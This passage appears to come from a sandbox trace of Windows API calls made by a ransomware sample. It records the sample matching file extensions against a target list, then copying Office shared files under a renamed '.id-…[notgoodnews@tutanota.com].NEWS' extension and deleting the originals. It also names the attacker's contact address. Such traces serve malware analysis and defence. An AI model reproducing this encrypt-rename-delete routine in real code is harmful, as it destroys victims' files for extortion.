(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.238] lstrlenW (lpString=".zip") returned 4 [0061.238] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.238] lstrlenW (lpString=".rar") returned 4 [0061.238] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.238] lstrlenW (lpString=".bz2") returned 4 [0061.238] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.238] lstrlenW (lpString=".7z") returned 3 [0061.238] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.238] lstrlenW (lpString=".dbf") returned 4 [0061.238] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.238] lstrlenW (lpString=".1cd") returned 4 [0061.238] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.238] lstrlenW (lpString=".jpg") returned 4 [0061.239] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.239] lstrlenW (lpString=".doc") returned 4 [0061.239] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.239] lstrlenW (lpString=".docx") returned 5 [0061.239] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0061.239] lstrlenW (lpString=".pdf") returned 4 [0061.239] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.239] lstrlenW (lpString=".xls") returned 4 [0061.239] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.239] lstrlenW (lpString=".xlsx") returned 5 [0061.239] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0061.239] lstrlenW (lpString=".ppt") returned 4 [0061.239] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.239] lstrlenW (lpString=".zip") returned 4 [0061.239] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.239] lstrlenW (lpString=".rar") returned 4 [0061.239] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.240] lstrlenW (lpString=".bz2") returned 4 [0061.240] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.240] lstrlenW (lpString=".7z") returned 3 [0061.240] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.240] lstrlenW (lpString=".dbf") returned 4 [0061.240] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.240] lstrlenW (lpString=".1cd") returned 4 [0061.240] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.240] lstrlenW (lpString=".jpg") returned 4 [0061.240] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.240] lstrcmpiW (lpString1=".HTM", lpString2=".NEWS") returned -1 [0061.240] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0061.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.243] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=11463) returned 1 [0061.243] CloseHandle (hObject=0x1f0) returned 1 [0061.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0061.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.243] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.243] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.247] GetLastError () returned 0x0 [0061.247] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0061.249] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0061.251] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.251] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.251] SetEndOfFile (hFile=0x1e8) returned 1 [0061.251] CloseHandle (hObject=0x1e8) returned 1 [0061.252] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.253] SetEndOfFile (hFile=0x1f0) returned 1 [0061.254] CloseHandle (hObject=0x1f0) returned 1 [0061.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.255] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0061.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.255] lstrlenW (lpString=".doc") returned 4 [0061.255] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0061.255] lstrlenW (lpString=".docx") returned 5 [0061.255] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0061.255] lstrlenW (lpString=".pdf") returned 4 [0061.255] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0061.255] lstrlenW (lpString=".xls") returned 4 [0061.255] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0061.256] lstrlenW (lpString=".xlsx") returned 5 [0061.256] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0061.256] lstrlenW (lpString=".ppt") returned 4 [0061.256] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0061.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.256] lstrlenW (lpString=".zip") returned 4 [0061.256] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0061.256] lstrlenW (lpString=".rar") returned 4 [0061.256] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0061.256] lstrlenW (lpString=".bz2") returned 4 [0061.256] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0061.256] lstrlenW (lpString=".7z") returned 3 [0061.256] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0061.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.256] lstrlenW (lpString=".dbf") returned 4 [0061.256] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0061.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.256] lstrlenW (lpString=".1cd") returned 4 [0061.256] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0061.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.256] lstrlenW (lpString=".jpg") returned 4 [0061.256] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.257] lstrlenW (lpString=".doc") returned 4 [0061.257] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0061.257] lstrlenW (lpString=".docx") returned 5 [0061.257] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0061.257] lstrlenW (lpString=".pdf") returned 4 [0061.257] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString=".xls") returned 4 [0061.257] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString=".xlsx") returned 5 [0061.257] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0061.257] lstrlenW (lpString=".ppt") returned 4 [0061.257] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.257] lstrlenW (lpString=".zip") returned 4 [0061.257] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString=".rar") returned 4 [0061.257] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0061.257] lstrlenW (lpString=".bz2") returned 4 [0061.257] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0061.257] lstrlenW (lpString=".7z") returned 3 [0061.257] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0061.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.258] lstrlenW (lpString=".dbf") returned 4 [0061.258] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0061.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.258] lstrlenW (lpString=".1cd") returned 4 [0061.258] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0061.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0061.258] lstrlenW (lpString=".jpg") returned 4 [0061.258] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0061.258] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.258] lstrlenW (lpString="DATES.XML") returned 9 [0061.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.259] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=8918) returned 1 [0061.259] CloseHandle (hObject=0x1f0) returned 1 [0061.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0061.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.259] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.260] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.263] GetLastError () returned 0x0 [0061.263] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0061.298] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0061.300] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.300] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.300] SetEndOfFile (hFile=0x1e8) returned 1 [0061.300] CloseHandle (hObject=0x1e8) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.301] SetEndOfFile (hFile=0x1f0) returned 1 [0061.303] CloseHandle (hObject=0x1f0) returned 1 [0061.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.304] lstrlenW (lpString=".doc") returned 4 [0061.304] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.304] lstrlenW (lpString=".docx") returned 5 [0061.304] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0061.304] lstrlenW (lpString=".pdf") returned 4 [0061.304] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.304] lstrlenW (lpString=".xls") returned 4 [0061.304] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.304] lstrlenW (lpString=".xlsx") returned 5 [0061.304] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0061.304] lstrlenW (lpString=".ppt") returned 4 [0061.304] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.304] lstrlenW (lpString=".zip") returned 4 [0061.304] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.305] lstrlenW (lpString=".rar") returned 4 [0061.305] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString=".bz2") returned 4 [0061.305] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString=".7z") returned 3 [0061.305] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.305] lstrlenW (lpString=".dbf") returned 4 [0061.305] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.305] lstrlenW (lpString=".1cd") returned 4 [0061.305] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.305] lstrlenW (lpString=".jpg") returned 4 [0061.305] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.305] lstrlenW (lpString=".doc") returned 4 [0061.305] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.305] lstrlenW (lpString=".docx") returned 5 [0061.305] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0061.306] lstrlenW (lpString=".pdf") returned 4 [0061.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.306] lstrlenW (lpString=".xls") returned 4 [0061.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.306] lstrlenW (lpString=".xlsx") returned 5 [0061.306] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0061.306] lstrlenW (lpString=".ppt") returned 4 [0061.306] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.306] lstrlenW (lpString=".zip") returned 4 [0061.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.306] lstrlenW (lpString=".rar") returned 4 [0061.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.306] lstrlenW (lpString=".bz2") returned 4 [0061.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.306] lstrlenW (lpString=".7z") returned 3 [0061.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.306] lstrlenW (lpString=".dbf") returned 4 [0061.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.307] lstrlenW (lpString=".1cd") returned 4 [0061.307] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0061.307] lstrlenW (lpString=".jpg") returned 4 [0061.307] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.307] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.307] lstrlenW (lpString="PHONE.XML") returned 9 [0061.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.308] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1844) returned 1 [0061.308] CloseHandle (hObject=0x1f0) returned 1 [0061.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0061.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.308] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.308] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.309] GetLastError () returned 0x0 [0061.309] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x734, lpOverlapped=0x0) returned 1 [0061.313] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x740, lpOverlapped=0x0) returned 1 [0061.314] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.314] SetEndOfFile (hFile=0x1e8) returned 1 [0061.315] CloseHandle (hObject=0x1e8) returned 1 [0061.315] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.315] SetEndOfFile (hFile=0x1f0) returned 1 [0061.317] CloseHandle (hObject=0x1f0) returned 1 [0061.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.317] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0061.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.318] lstrlenW (lpString=".doc") returned 4 [0061.318] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString=".docx") returned 5 [0061.318] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0061.318] lstrlenW (lpString=".pdf") returned 4 [0061.318] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString=".xls") returned 4 [0061.318] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString=".xlsx") 